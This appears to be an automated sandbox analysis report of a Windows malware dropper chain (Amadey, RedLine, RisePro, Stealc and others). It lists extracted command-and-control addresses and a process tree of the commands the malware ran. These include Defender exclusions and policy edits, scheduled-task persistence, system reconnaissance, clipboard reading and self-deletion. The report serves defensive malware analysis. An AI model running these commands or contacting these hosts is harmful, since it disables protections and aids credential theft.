Analysis
- max time kernel
149s - max time network
138s - platform
windows11-21h2_x64 - resource
win11-20240508-en - resource tags
- submitted
28/05/2024, 09:04
General
- Target 16443dd5782d9371dd6b375341aacba8d110658fc9b6e87e7a1815f5e39bd1f8.exe
- Size 1.8MB
- Sample240528-k131dsef22
- SHA256 16443dd5782d9371dd6b375341aacba8d110658fc9b6e87e7a1815f5e39bd1f8
Malware Config
Extracted
-
amadey
-
4.21
-
0e6740
-
http://147.45.47.155
-
install_dir
9217037dc9
-
install_file
explortu.exe
-
strings_key
8e894a8a4a3d0da8924003a561cfb244
-
url_paths
/ku4Nor9/index.php
Extracted
-
amadey
-
4.21
-
49e482
-
http://147.45.47.70
-
install_dir
1b29d73536
-
install_file
axplont.exe
-
strings_key
4d31dd1a190d9879c21fac6d87dc0043
-
url_paths
/tr8nomy/index.php
Extracted
-
risepro
-
147.45.47.126:58709
Extracted
-
redline
-
1
-
185.215.113.67:40960
Extracted
-
redline
-
@LOGSCLOUDYT_BOT
-
185.172.128.33:8970
Extracted
-
stealc
-
zzvv
-
http://23.88.106.134
-
url_path
/c73eed764cc59dcb.php
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
- Modifies firewall policy service 2 TTPs 1 IoCs
- PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 4 IoCs
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- Stealc
Stealc is an infostealer written in C++.
- UAC bypass 3 TTPs 1 IoCs
- Windows security bypass 2 TTPs 3 IoCs
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Checks BIOS information in registry 2 TTPs 21 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 30 IoCs
- Identifies Wine through registry keys 2 TTPs 9 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 37 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 6 IoCs
Detects Themida, an advanced Windows software protection system.
- Windows security modification 2 TTPs 4 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 4 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
- Suspicious use of SetThreadContext 5 IoCs
- Drops file in Program Files directory 9 IoCs
- Drops file in Windows directory 3 IoCs
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 3 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- Enumerates system info in registry 2 TTPs 2 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 1 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 53 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SendNotifyMessage 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 1 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\16443dd5782d9371dd6b375341aacba8d110658fc9b6e87e7a1815f5e39bd1f8.exe"C:\Users\Admin\AppData\Local\Temp\16443dd5782d9371dd6b375341aacba8d110658fc9b6e87e7a1815f5e39bd1f8.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"3⤵
-
-
C:\Users\Admin\1000004002\33da640378.exe"C:\Users\Admin\1000004002\33da640378.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000002001\buildjudit.exe"C:\Users\Admin\AppData\Local\Temp\1000002001\buildjudit.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\onefile_4868_133613607170246928\stub.exe"C:\Users\Admin\AppData\Local\Temp\1000002001\buildjudit.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid8⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist8⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe""7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\MonsterUpdateService\Monster.exe"8⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('%error_message%', 0, 'System Error', 0+16);close()""7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe8⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FO LIST8⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Get-Clipboard8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "chcp"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"7⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"7⤵
-
C:\Windows\system32\systeminfo.exesysteminfo8⤵
- Gathers system information
-
-
C:\Windows\system32\HOSTNAME.EXEhostname8⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption,description,providername8⤵
- Collects information from the system
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\net.exenet user8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user9⤵
-
-
-
C:\Windows\system32\query.exequery user8⤵
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"9⤵
-
-
-
C:\Windows\system32\net.exenet localgroup8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup9⤵
-
-
-
C:\Windows\system32\net.exenet localgroup administrators8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators9⤵
-
-
-
C:\Windows\system32\net.exenet user guest8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user guest9⤵
-
-
-
C:\Windows\system32\net.exenet user administrator8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user administrator9⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic startup get caption,command8⤵
-
-
C:\Windows\system32\tasklist.exetasklist /svc8⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\ipconfig.exeipconfig /all8⤵
- Gathers network information
-
-
C:\Windows\system32\ROUTE.EXEroute print8⤵
-
-
C:\Windows\system32\ARP.EXEarp -a8⤵
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -ano8⤵
- Gathers network information
-
-
C:\Windows\system32\sc.exesc query type= service state= all8⤵
- Launches sc.exe
-
-
C:\Windows\system32\netsh.exenetsh firewall show state8⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh firewall show config8⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid8⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"7⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid8⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 38⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 2966⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exe"C:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exe" /F6⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 2726⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"5⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe" -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"6⤵
-
C:\Users\Admin\Pictures\wIjKrZXdY2R7LGUUCh04YpES.exe"C:\Users\Admin\Pictures\wIjKrZXdY2R7LGUUCh04YpES.exe" /s7⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\Pictures\360TS_Setup.exe"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=8⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\1716887231_0\360TS_Setup.exe"C:\Program Files (x86)\1716887231_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall9⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\Pictures\5Aad9AAuGIvN6LlgWnn5GzIS.exe"C:\Users\Admin\Pictures\5Aad9AAuGIvN6LlgWnn5GzIS.exe"7⤵
- Modifies firewall policy service
- Windows security bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Pictures\fjooKk1IyHRFBhy4sEeirYiQ.exe"C:\Users\Admin\Pictures\fjooKk1IyHRFBhy4sEeirYiQ.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS642F.tmp\Install.exe.\Install.exe8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS65F4.tmp\Install.exe.\Install.exe /NQHxdidUQs "385118" /S9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"10⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 613⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 613⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 613⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 612⤵
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 613⤵
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"11⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force12⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force14⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True12⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True13⤵
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 09:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS65F4.tmp\Install.exe\" 1g /rjJdidrwmJ 385118 /S" /V1 /F10⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"10⤵
-
C:\Windows\SysWOW64\cmd.exe/C schtasks /run /I /tn bqGGCwwWIommTRgeuN11⤵
-
\??\c:\windows\SysWOW64\schtasks.exeschtasks /run /I /tn bqGGCwwWIommTRgeuN12⤵
-
-
-
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000022001\4.exe"C:\Users\Admin\AppData\Local\Temp\1000022001\4.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3372 -s 3846⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000005001\e42a62ac03.exe"C:\Users\Admin\AppData\Local\Temp\1000005001\e42a62ac03.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3844 -ip 38441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1464 -ip 14641⤵
-
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exeC:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exeC:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exeC:\Users\Admin\AppData\Local\Temp\1000007001\Newoff.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3372 -ip 33721⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exeC:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
